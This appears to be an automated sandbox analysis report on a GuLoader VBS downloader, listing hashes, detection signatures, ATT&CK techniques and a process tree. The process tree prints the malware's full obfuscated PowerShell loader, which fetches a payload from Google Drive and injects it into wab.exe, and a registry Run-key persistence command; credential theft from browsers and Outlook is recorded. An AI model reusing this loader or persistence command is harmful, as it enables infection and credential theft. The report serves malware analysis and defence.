guloader | 31a6818ba439d39bdae897b77513d3a92d27bc3f93b5b1a5aaf1d77ec5e49738

Analysis

max time kernel
150s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
01/06/2024, 01:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
31a6818ba439d39bdae897b77513d3a92d27bc3f93b5b1a5aaf1d77ec5e49738.vbs
Size 22KB
Sample240601-bjcbnscc8t
SHA256 31a6818ba439d39bdae897b77513d3a92d27bc3f93b5b1a5aaf1d77ec5e49738
MD5 f15820905822cf3b2f11e3c34c3ea408
SHA1 1d37cfb741fc1b2fa2a47c088dc9f88edf01a501
SHA512 4fcc64060f8b747d849f926501e17512098a6736ba23b2f3de0c4073fa76ab58f0629bf828db56c025dd3ce870c033e2db18bd12028f985c5d5921c567d17358
SSDEEP 384:Ixr9nWbJlZMmn6nDz1mFYAf+dTRyIK53A5NCFm7Ar+rZsezJy7SAls1/CSAZ9TkQ:IxrYbvZMmn6DhmFYAf+dTYIKtwIslPsf
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Detects executables built or packed with MPress PE compressor 12 IoCs

resource	yara_rule
behavioral2/memory/864-71-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3376-77-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/864-76-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4564-79-0x0000000000400000-0x0000000000457000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4564-75-0x0000000000400000-0x0000000000457000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/864-74-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3376-73-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3376-78-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4564-72-0x0000000000400000-0x0000000000457000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1928-85-0x00000000231B0000-0x00000000231C9000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1928-88-0x00000000231B0000-0x00000000231C9000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1928-89-0x00000000231B0000-0x00000000231C9000-memory.dmp	INDICATOR_EXE_Packed_MPress

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/4564-79-0x0000000000400000-0x0000000000457000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/4564-79-0x0000000000400000-0x0000000000457000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4564-79-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/864-76-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral2/memory/864-76-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4564-79-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft
behavioral2/memory/3376-78-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	1160	WScript.exe
10	5096	Powershell.exe
12	5096	Powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Unthrive = "%Synsfelts% -w 1 $Bucorvinae=(Get-ItemProperty -Path 'HKCU:\\Skdyrets\\').Breakwater;%Synsfelts% ($Bucorvinae)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
9	drive.google.com
10	drive.google.com
39	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1928	wab.exe
1928	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2444	powershell.exe
1928	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2444 set thread context of 1928	2444	powershell.exe	99
PID 1928 set thread context of 864	1928	wab.exe	103
PID 1928 set thread context of 4564	1928	wab.exe	104
PID 1928 set thread context of 3376	1928	wab.exe	105

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1544	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
5096	Powershell.exe
5096	Powershell.exe
2444	powershell.exe
2444	powershell.exe
2444	powershell.exe
864	wab.exe
864	wab.exe
3376	wab.exe
3376	wab.exe
864	wab.exe
864	wab.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2444	powershell.exe
1928	wab.exe
1928	wab.exe
1928	wab.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5096	Powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	3376	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1928	wab.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 1160 wrote to memory of 5096	1160	WScript.exe	85
PID 1160 wrote to memory of 5096	1160	WScript.exe	85
PID 1160 wrote to memory of 5096	1160	WScript.exe	85
PID 5096 wrote to memory of 2404	5096	Powershell.exe	87
PID 5096 wrote to memory of 2404	5096	Powershell.exe	87
PID 5096 wrote to memory of 2404	5096	Powershell.exe	87
PID 5096 wrote to memory of 2444	5096	Powershell.exe	89
PID 5096 wrote to memory of 2444	5096	Powershell.exe	89
PID 5096 wrote to memory of 2444	5096	Powershell.exe	89
PID 2444 wrote to memory of 3972	2444	powershell.exe	90
PID 2444 wrote to memory of 3972	2444	powershell.exe	90
PID 2444 wrote to memory of 3972	2444	powershell.exe	90
PID 2444 wrote to memory of 1928	2444	powershell.exe	99
PID 2444 wrote to memory of 1928	2444	powershell.exe	99
PID 2444 wrote to memory of 1928	2444	powershell.exe	99
PID 2444 wrote to memory of 1928	2444	powershell.exe	99
PID 2444 wrote to memory of 1928	2444	powershell.exe	99
PID 1928 wrote to memory of 2924	1928	wab.exe	100
PID 1928 wrote to memory of 2924	1928	wab.exe	100
PID 1928 wrote to memory of 2924	1928	wab.exe	100
PID 2924 wrote to memory of 1544	2924	cmd.exe	102
PID 2924 wrote to memory of 1544	2924	cmd.exe	102
PID 2924 wrote to memory of 1544	2924	cmd.exe	102
PID 1928 wrote to memory of 864	1928	wab.exe	103
PID 1928 wrote to memory of 864	1928	wab.exe	103
PID 1928 wrote to memory of 864	1928	wab.exe	103
PID 1928 wrote to memory of 864	1928	wab.exe	103
PID 1928 wrote to memory of 4564	1928	wab.exe	104
PID 1928 wrote to memory of 4564	1928	wab.exe	104
PID 1928 wrote to memory of 4564	1928	wab.exe	104
PID 1928 wrote to memory of 4564	1928	wab.exe	104
PID 1928 wrote to memory of 3376	1928	wab.exe	105
PID 1928 wrote to memory of 3376	1928	wab.exe	105
PID 1928 wrote to memory of 3376	1928	wab.exe	105
PID 1928 wrote to memory of 3376	1928	wab.exe	105

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\31a6818ba439d39bdae897b77513d3a92d27bc3f93b5b1a5aaf1d77ec5e49738.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1160
- C:\Windows\syswow64\windowsPowershell\v1.0\Powershell.exe
  "C:\Windows\syswow64\windowsPowershell\v1.0\Powershell.exe" "$Diskettestrelse='S';$Diskettestrelse+='ubs';$Diskettestrelse+='tri';$Affedtning = 1;$Diskettestrelse+='ng';Function Fuldfrer($Genfortolkedes68){$Fezzan187=$Genfortolkedes68.Length-$Affedtning;For( $Ophvelsen=4;$Ophvelsen -lt $Fezzan187;$Ophvelsen+=5){$Bidi+=$Genfortolkedes68.$Diskettestrelse.Invoke( $Ophvelsen, $Affedtning);}$Bidi;}function Seniorchefs($Coassisted){ & ($Ungarnsophold) ($Coassisted);}$Ulempetillgget=Fuldfrer 'Vgm,MSubso BugzVksti DinlF eml JvnaCo v/Maks5,rth.Kar.0 Bov Lush(,yroW Degi Pr nSammd nproM dew TitsNa.o In,bNC,elTTheo Kdbj1Haem0Avis.Folk0Deta;Non, .roW ,oui.obbn Flo6Haa 4To,b; pr. LlatxMell6Kong4Teor; ro FunirsplevScor:S.pe1Jatr2Aphr1Tank.Ungs0Hano)Prof VacuG Stre PatcUn,okFl go Dea/Traf2Fyrs0 Moi1Samb0 Wa.0Bygn1Isol0Zeno1Udse FlucFvandiFineremuleConffSagio Semx tou/Chi.1Resm2unde1Kore.Bilf0 Edd ';$syndflodssagnenes=Fuldfrer 'indoUOve.sTubeeadverToym- ,ubAUdb,gl.mbe Obsn RaktScal ';$Hexanedione202=Fuldfrer ' MeshReedtBooktRetspAfv sUtil:Resy/ De,/Pedad ,dsrSlg i BrivIncoeNon .FichgVoleoSi,io rikg ewsl remeImpo.Tr gc SkaoLi nmKahi/DeleuNa.ucPrew?Uni e DrvxWaa pRhamoforkr skytBika=Flo dMascoBeskw SelnRioslFo,boD.biaprvedCa,c& SneiSorddHexa= Def1IlluQ cri2Littf StiSUds ZTidsfMesoUhoejKMendK Har1FragDL.se8St pMAs.ex.ontwpy.aIFarvAForb7SnydWSproY Alk6DoebUSemi4PickFKr.sS ElaEd.so2Ta,tvAnn,ZProa0T.le7Gue H Uph ';$plott=Fuldfrer ' Pan>,ola ';$Ungarnsophold=Fuldfrer 'ShoeiFis e RegxFemi ';$Inoriginate55='Alluvious';$Violescent = Fuldfrer 'AgaveBewicKorrhMnnioBeho Mism%E.asaE.alp notp NondForta TratTullaUblo% Naz\DuraTOrdveHar nCritd Sh.e.ecanGenatSluti ExpsSpit.SkaaaMa.gf.ooss Nom ,and&Oply&Rea Re e Tr.c ComhModboHand ForetKnfr ';Seniorchefs (Fuldfrer 'Supe$Dua,gSvenl BevoCaprbT,ipaMatrl Her:ExtrWC.coiTederK dleAd,ap CouhB,ssomenntFairo Sma=Comm(Af,hcu exmAmuldSene Fiss/VegecEvan Si f$.kstV MaaiSattoSkydlSolfeTwi.sKo,scCogle C.mnMalatMult)Re.l ');Seniorchefs (Fuldfrer 'Vomi$ Torg .inlAsceoFavob Efta.atal Mu :FolkW,ayootreboudvel MedeSpidrHvepsBina=.iph$FadlHSl tetronx Svaa GlonBistedicadKonkiMalmoPrein Gige M.d2Repa0circ2 Dai. ,nisFri,pSik.lSkdei chetInte(Tar,$StabpconvlSup oFyretBredtVaeg)Inte ');$Hexanedione202=$Woolers[0];$Cobaltous= (Fuldfrer 'A,ag$Snakg CarlUtiloSultb,regaMyrelfib.:Sy.fUUndvdMyk.sreprtUni,iOplal,ichl FavianthnPaelgAnhosDe,tv gutiBaasnBispd PhiuBraneSoftr AfvsF.ol=V lgN,rdgeHft w Blo-CottOTokebBlegjNem,e Unoc G otKlim bsS A.ly Ru,s estt Mene,ffamu ha.YajnNRoseeBiavtMisc. .ecW SileDecebRe.uCBrealUafhimarie BarnDommt');$Cobaltous+=$Wirephoto[1];Seniorchefs ($Cobaltous);Seniorchefs (Fuldfrer ',vag$ TjeU PaddS,aisGennt BesiTemalLogel Seli,ekunErytgSmels ketv MariMorgn ebrdGrypu ,ageFiltrVibrsDi,t..onmH Tile ,aua T ldTo.oe Su rFalmsFibu[Syna$StylsUn,oyGoldnDedidSalofGerml StooSubrdTunnsRenosPolya burg TirnUntieWritnDaareB vasArcc]Sing= V r$ S,tUunprlI.dkeRettmUncopFljaeUnret gliiCopulP rhlG apgSamfg UnteNeartSels ');$Verbalizes=Fuldfrer 'Unpr$ tegUAutodKells HantPrewiUsselHermlOppuiEmdenHazegC.khs Ga.vDyreiAa nnHun dUntiuKejseFotor RadsIc.t.PennD.areoS,piwLtemn BlalSvaloKnoga,rifdDr,gF floiOniolErnreVene( Ama$SvenHFor eA.mixS ataKlinn roreSib.d inui.jeroSandnTilbeUske2 Pos0Kems2Civi,p.ra$.ennN SkraPreat esoiIsoco ,arnHeadaFjenlVelkisupes LaaeNongrSyg iMonon Nong,dreeactin Un )ro,o ';$Nationaliseringen=$Wirephoto[0];Seniorchefs (Fuldfrer ' Bes$ kolg B.tl chfoBemgbKontaUnsalunbe:caesSSt dpAutolitemeR prnStiliBo ruPh lsKi,e=Lim,( ,ioTMiraeAlbusK nttPost-TenuPBevgaOccatAnt hUng, Coll$BelmN adnahoydt beti,ilsoFlyvnDat a pilFjeniChansMoone ercrFestiEkspnSighgFurseSe.inHypn)Line ');while (!$Splenius) {Seniorchefs (Fuldfrer 'Snde$ olkg PaclDecoo RatbGui,aU.delA,te:,ries WedoChe.m Un.mTakneYngsr.hesg ViksFlottNer eT errGrnin PseeSort=Unyc$Rumfth lnr ZoouPille,oqu ') ;Seniorchefs $Verbalizes;Seniorchefs (Fuldfrer 'Cha,S Udet P,naFremrSquit Co -h,ndSYngllBroneLagre forpstrm eis4Trak ');Seniorchefs (Fuldfrer 'Mith$HavagKetolMlk.o,lnsbA.tiaSmudl Gas:,angS UnrpDeprlUnsues.mmnGlasiEkskuRidds T m=Tusi(UnadTZoroeLuscsSpedtri g- VerP LinaUdvetSrgmhReto Rhe$S,riNtvana Kast,orbiQuiroDetin Stia Pu.l SoiiUndes ArbeEcumrPerii JornCallgForeeHemlnPall)Zeug ') ;Seniorchefs (Fuldfrer 'Mate$Man.g.ydalDi hoForgbDemuamonalunvi:Sydap paan PaleBlafumicrmFlavoHundrSl grAlamhTaljaPennc,apihroy ihalisUfor=Pree$ allg Mirlwello SekbO,saa S,rlDibb:Fil L loeskvbfBalfsRatie Ny lUnsu+Cust+ B,d%Ej,n$sgemWK.raoMiscoKonglNonde I.mrwholsskaa.TaklcU,foo .ibuHespn Pa,t Ch. ') ;$Hexanedione202=$Woolers[$pneumorrhachis];}$Overdecks=341565;$Macrocephalic=28079;Seniorchefs (Fuldfrer 'Degn$CleigSupelStrkoIndibBecuaN.hjl For: FodSSe.vm K aeGavslSpect V,leBocno PansServtruineHattnMuld seu=Skvh Lv.kG A leD,gdtKeto-SmokCS kkoRevenShowtAfrieTi.rnMesttSequ Ge o$ MaaNForeaAssitNursiGuldoDr.nnCataaHyralP.teiUdv s D,veEpigr B.niOxyenCo,pgP.ste.ypenPres ');Seniorchefs (Fuldfrer 'Mon.$Irwigerhvl,earoBraubunsya.pbylKdeb:foamRWeeke,nowa,trstAfgitKlaraAmani RatnFri iBlu.nOr.kg Pra en= Cat Game[ yttSCocoy otis demtStereAngem Afg.I.htCu.inoAcrenTeolvBarneYndlrNimitIn h]Phot:Vire:Civ.FVol rZimeoFersmLeddBYdera BatsSammeOrdr6erme4MethSDd atBundr MoliVirkn OphgAuto(B gg$ eoSbrndmf rteBriklLydetOvere Kalo apgsb.llt OvaeCostnFo,s) Par ');Seniorchefs (Fuldfrer ' Vid$RedugAarslParoolatebBoksaMagnlEnst: V,dC onieP.rfn Re tOverrBo.faCos,lAfgrebloks Ba.tisol mili=Rr.g We [,befS CauyDyrts,esktOr reSprimAfsn.knebTDeckePap.xEnstt Glo.LighEAppon hiccSkrvoAlgod TiciPlenn argg ,al]Form:U.me:,rdmASimoS EskC H.aIdansISlab.kvadG edieL gntPr,eSBundtAerirtalsiSv,nnQuotgDato(Atta$Ha aRAlpietel,aUdd,t.mpltForbaProtiUdkonAf,aiB.ann SmagFjum)Adel ');Seniorchefs (Fuldfrer 'Prak$ReptgE.iklArchoVelubCavaa.quilTrin:Art TR,brrForsyVennpShahsResui Ni,nK,rooTikagVerae Filn L,u=Si.e$ HarCShireT iknF rlt De.rKrumaUnbilDataeCeresS edtEcto. TyrsH mou U.rbP,lis seltVd,nr HeniJoggnOptegSalm(Tlle$woodO stvEntae Regr ernd Anse EsscImpekIleesFri.,Mand$TredMUd va BalcSe.vr Nono Af cKi.keCh,npCarihSidea.arvlDjvli semc ri)Dyne ');Seniorchefs $Trypsinogen;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tendentis.afs && echo t"
    3⤵
    PID:2404
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Diskettestrelse='S';$Diskettestrelse+='ubs';$Diskettestrelse+='tri';$Affedtning = 1;$Diskettestrelse+='ng';Function Fuldfrer($Genfortolkedes68){$Fezzan187=$Genfortolkedes68.Length-$Affedtning;For( $Ophvelsen=4;$Ophvelsen -lt $Fezzan187;$Ophvelsen+=5){$Bidi+=$Genfortolkedes68.$Diskettestrelse.Invoke( $Ophvelsen, $Affedtning);}$Bidi;}function Seniorchefs($Coassisted){ & ($Ungarnsophold) ($Coassisted);}$Ulempetillgget=Fuldfrer 'Vgm,MSubso BugzVksti DinlF eml JvnaCo v/Maks5,rth.Kar.0 Bov Lush(,yroW Degi Pr nSammd nproM dew TitsNa.o In,bNC,elTTheo Kdbj1Haem0Avis.Folk0Deta;Non, .roW ,oui.obbn Flo6Haa 4To,b; pr. LlatxMell6Kong4Teor; ro FunirsplevScor:S.pe1Jatr2Aphr1Tank.Ungs0Hano)Prof VacuG Stre PatcUn,okFl go Dea/Traf2Fyrs0 Moi1Samb0 Wa.0Bygn1Isol0Zeno1Udse FlucFvandiFineremuleConffSagio Semx tou/Chi.1Resm2unde1Kore.Bilf0 Edd ';$syndflodssagnenes=Fuldfrer 'indoUOve.sTubeeadverToym- ,ubAUdb,gl.mbe Obsn RaktScal ';$Hexanedione202=Fuldfrer ' MeshReedtBooktRetspAfv sUtil:Resy/ De,/Pedad ,dsrSlg i BrivIncoeNon .FichgVoleoSi,io rikg ewsl remeImpo.Tr gc SkaoLi nmKahi/DeleuNa.ucPrew?Uni e DrvxWaa pRhamoforkr skytBika=Flo dMascoBeskw SelnRioslFo,boD.biaprvedCa,c& SneiSorddHexa= Def1IlluQ cri2Littf StiSUds ZTidsfMesoUhoejKMendK Har1FragDL.se8St pMAs.ex.ontwpy.aIFarvAForb7SnydWSproY Alk6DoebUSemi4PickFKr.sS ElaEd.so2Ta,tvAnn,ZProa0T.le7Gue H Uph ';$plott=Fuldfrer ' Pan>,ola ';$Ungarnsophold=Fuldfrer 'ShoeiFis e RegxFemi ';$Inoriginate55='Alluvious';$Violescent = Fuldfrer 'AgaveBewicKorrhMnnioBeho Mism%E.asaE.alp notp NondForta TratTullaUblo% Naz\DuraTOrdveHar nCritd Sh.e.ecanGenatSluti ExpsSpit.SkaaaMa.gf.ooss Nom ,and&Oply&Rea Re e Tr.c ComhModboHand ForetKnfr ';Seniorchefs (Fuldfrer 'Supe$Dua,gSvenl BevoCaprbT,ipaMatrl Her:ExtrWC.coiTederK dleAd,ap CouhB,ssomenntFairo Sma=Comm(Af,hcu exmAmuldSene Fiss/VegecEvan Si f$.kstV MaaiSattoSkydlSolfeTwi.sKo,scCogle C.mnMalatMult)Re.l ');Seniorchefs (Fuldfrer 'Vomi$ Torg .inlAsceoFavob Efta.atal Mu :FolkW,ayootreboudvel MedeSpidrHvepsBina=.iph$FadlHSl tetronx Svaa GlonBistedicadKonkiMalmoPrein Gige M.d2Repa0circ2 Dai. ,nisFri,pSik.lSkdei chetInte(Tar,$StabpconvlSup oFyretBredtVaeg)Inte ');$Hexanedione202=$Woolers[0];$Cobaltous= (Fuldfrer 'A,ag$Snakg CarlUtiloSultb,regaMyrelfib.:Sy.fUUndvdMyk.sreprtUni,iOplal,ichl FavianthnPaelgAnhosDe,tv gutiBaasnBispd PhiuBraneSoftr AfvsF.ol=V lgN,rdgeHft w Blo-CottOTokebBlegjNem,e Unoc G otKlim bsS A.ly Ru,s estt Mene,ffamu ha.YajnNRoseeBiavtMisc. .ecW SileDecebRe.uCBrealUafhimarie BarnDommt');$Cobaltous+=$Wirephoto[1];Seniorchefs ($Cobaltous);Seniorchefs (Fuldfrer ',vag$ TjeU PaddS,aisGennt BesiTemalLogel Seli,ekunErytgSmels ketv MariMorgn ebrdGrypu ,ageFiltrVibrsDi,t..onmH Tile ,aua T ldTo.oe Su rFalmsFibu[Syna$StylsUn,oyGoldnDedidSalofGerml StooSubrdTunnsRenosPolya burg TirnUntieWritnDaareB vasArcc]Sing= V r$ S,tUunprlI.dkeRettmUncopFljaeUnret gliiCopulP rhlG apgSamfg UnteNeartSels ');$Verbalizes=Fuldfrer 'Unpr$ tegUAutodKells HantPrewiUsselHermlOppuiEmdenHazegC.khs Ga.vDyreiAa nnHun dUntiuKejseFotor RadsIc.t.PennD.areoS,piwLtemn BlalSvaloKnoga,rifdDr,gF floiOniolErnreVene( Ama$SvenHFor eA.mixS ataKlinn roreSib.d inui.jeroSandnTilbeUske2 Pos0Kems2Civi,p.ra$.ennN SkraPreat esoiIsoco ,arnHeadaFjenlVelkisupes LaaeNongrSyg iMonon Nong,dreeactin Un )ro,o ';$Nationaliseringen=$Wirephoto[0];Seniorchefs (Fuldfrer ' Bes$ kolg B.tl chfoBemgbKontaUnsalunbe:caesSSt dpAutolitemeR prnStiliBo ruPh lsKi,e=Lim,( ,ioTMiraeAlbusK nttPost-TenuPBevgaOccatAnt hUng, Coll$BelmN adnahoydt beti,ilsoFlyvnDat a pilFjeniChansMoone ercrFestiEkspnSighgFurseSe.inHypn)Line ');while (!$Splenius) {Seniorchefs (Fuldfrer 'Snde$ olkg PaclDecoo RatbGui,aU.delA,te:,ries WedoChe.m Un.mTakneYngsr.hesg ViksFlottNer eT errGrnin PseeSort=Unyc$Rumfth lnr ZoouPille,oqu ') ;Seniorchefs $Verbalizes;Seniorchefs (Fuldfrer 'Cha,S Udet P,naFremrSquit Co -h,ndSYngllBroneLagre forpstrm eis4Trak ');Seniorchefs (Fuldfrer 'Mith$HavagKetolMlk.o,lnsbA.tiaSmudl Gas:,angS UnrpDeprlUnsues.mmnGlasiEkskuRidds T m=Tusi(UnadTZoroeLuscsSpedtri g- VerP LinaUdvetSrgmhReto Rhe$S,riNtvana Kast,orbiQuiroDetin Stia Pu.l SoiiUndes ArbeEcumrPerii JornCallgForeeHemlnPall)Zeug ') ;Seniorchefs (Fuldfrer 'Mate$Man.g.ydalDi hoForgbDemuamonalunvi:Sydap paan PaleBlafumicrmFlavoHundrSl grAlamhTaljaPennc,apihroy ihalisUfor=Pree$ allg Mirlwello SekbO,saa S,rlDibb:Fil L loeskvbfBalfsRatie Ny lUnsu+Cust+ B,d%Ej,n$sgemWK.raoMiscoKonglNonde I.mrwholsskaa.TaklcU,foo .ibuHespn Pa,t Ch. ') ;$Hexanedione202=$Woolers[$pneumorrhachis];}$Overdecks=341565;$Macrocephalic=28079;Seniorchefs (Fuldfrer 'Degn$CleigSupelStrkoIndibBecuaN.hjl For: FodSSe.vm K aeGavslSpect V,leBocno PansServtruineHattnMuld seu=Skvh Lv.kG A leD,gdtKeto-SmokCS kkoRevenShowtAfrieTi.rnMesttSequ Ge o$ MaaNForeaAssitNursiGuldoDr.nnCataaHyralP.teiUdv s D,veEpigr B.niOxyenCo,pgP.ste.ypenPres ');Seniorchefs (Fuldfrer 'Mon.$Irwigerhvl,earoBraubunsya.pbylKdeb:foamRWeeke,nowa,trstAfgitKlaraAmani RatnFri iBlu.nOr.kg Pra en= Cat Game[ yttSCocoy otis demtStereAngem Afg.I.htCu.inoAcrenTeolvBarneYndlrNimitIn h]Phot:Vire:Civ.FVol rZimeoFersmLeddBYdera BatsSammeOrdr6erme4MethSDd atBundr MoliVirkn OphgAuto(B gg$ eoSbrndmf rteBriklLydetOvere Kalo apgsb.llt OvaeCostnFo,s) Par ');Seniorchefs (Fuldfrer ' Vid$RedugAarslParoolatebBoksaMagnlEnst: V,dC onieP.rfn Re tOverrBo.faCos,lAfgrebloks Ba.tisol mili=Rr.g We [,befS CauyDyrts,esktOr reSprimAfsn.knebTDeckePap.xEnstt Glo.LighEAppon hiccSkrvoAlgod TiciPlenn argg ,al]Form:U.me:,rdmASimoS EskC H.aIdansISlab.kvadG edieL gntPr,eSBundtAerirtalsiSv,nnQuotgDato(Atta$Ha aRAlpietel,aUdd,t.mpltForbaProtiUdkonAf,aiB.ann SmagFjum)Adel ');Seniorchefs (Fuldfrer 'Prak$ReptgE.iklArchoVelubCavaa.quilTrin:Art TR,brrForsyVennpShahsResui Ni,nK,rooTikagVerae Filn L,u=Si.e$ HarCShireT iknF rlt De.rKrumaUnbilDataeCeresS edtEcto. TyrsH mou U.rbP,lis seltVd,nr HeniJoggnOptegSalm(Tlle$woodO stvEntae Regr ernd Anse EsscImpekIleesFri.,Mand$TredMUd va BalcSe.vr Nono Af cKi.keCh,npCarihSidea.arvlDjvli semc ri)Dyne ');Seniorchefs $Trypsinogen;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2444
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tendentis.afs && echo t"
      4⤵
      PID:3972
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1928
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Unthrive" /t REG_EXPAND_SZ /d "%Synsfelts% -w 1 $Bucorvinae=(Get-ItemProperty -Path 'HKCU:\Skdyrets\').Breakwater;%Synsfelts% ($Bucorvinae)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2924
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Unthrive" /t REG_EXPAND_SZ /d "%Synsfelts% -w 1 $Bucorvinae=(Get-ItemProperty -Path 'HKCU:\Skdyrets\').Breakwater;%Synsfelts% ($Bucorvinae)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1544
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\pfbwrtvqnxgnfo"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:864
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\zahprmosbfyrqukdq"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:4564
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\bcmhswylpoqwsayhhvtkf"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0
MD5 d4d8cef58818612769a698c291ca3b37
